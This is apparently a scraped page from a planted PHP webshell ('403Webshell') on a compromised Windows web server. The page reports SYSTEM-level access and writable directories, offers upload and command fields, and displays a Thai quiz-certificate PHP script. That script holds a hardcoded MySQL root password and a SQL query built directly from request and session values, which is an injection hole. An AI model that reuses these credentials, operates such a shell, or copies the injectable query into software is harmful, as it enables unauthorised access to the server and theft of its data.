403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/training/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/training/dai888.php
<?php 

$hostname="localhost";
$username="root";
$password="P@ssw0rdMySQL0";
$dbname="quiz67";

$link = mysqli_connect($hostname,$username,$password,$dbname) or die('เชื่อมต่อฐานข้อมูลไม่ได้');
mysqli_query($link,'set names utf8');


include('pdf1.84/fpdf.php');

$pdf=new FPDF( 'L' , 'mm' , 'A4' );
$id = $_REQUEST['id'];
session_start();
$email = $_SESSION['email'] ;
$tel = $_SESSION['tel'] ;
$cer="SELECT * FROM `quiz_pass` where id = '$id' AND email = '$email' AND tel = '$tel'" ;
$query_cer=mysqli_query($link,$cer);
$rs_cer=mysqli_fetch_assoc($query_cer);

$vision = array( //กลุ่มนิเทศ
	'พื้นฐานความรู้เกี่ยวกับการวัดการประเมินผลตามแนวทาง PISA'
);

if($rs_cer['id']=='') {

	echo "<script>window.parent.location=\"download.php\"</script>";

}else if( in_array ($rs_cer['subject'] , $vision)) {  //กลุ่มนิเทศ
	print_cer("supervision8.jpg" , "") ;
}else{
	print_cer("daimo.jpg" , "ได้รับเกียรติบัตรเพชร เพื่อเป็นขวัญกำลังใจยกย่องเชิดชูเกียรติที่มีความมุ่งมั่น พัฒนาตนเองได้อย่างดีเยี่ยม") ;
}

function print_cer($fileImage , $subject="") {
	global $pdf , $rs_cer ;
			$pdf->SetAutoPageBreak(false);
			$pdf->AddPage();
			$pdf->AddFont('sarabun','','THSarabun.php');
			$pdf->AddFont('sarabunb','','THSarabunB.php');
			$pdf->Image('img/' . $fileImage ,0,0,297,210);
			
			$pdf->SetXY(48,62);
			$pdf->SetFont('sarabunb','',48);
			$pdf->SetTextColor(42,0,0);
			$pdf->Cell(200,28,iconv('utf-8','cp874',$rs_cer['name']),0,1,'C');
	

						
						
	$pdf->Output();

}
	?>

Youez - 2016 - github.com/yon3zu
LinuXploit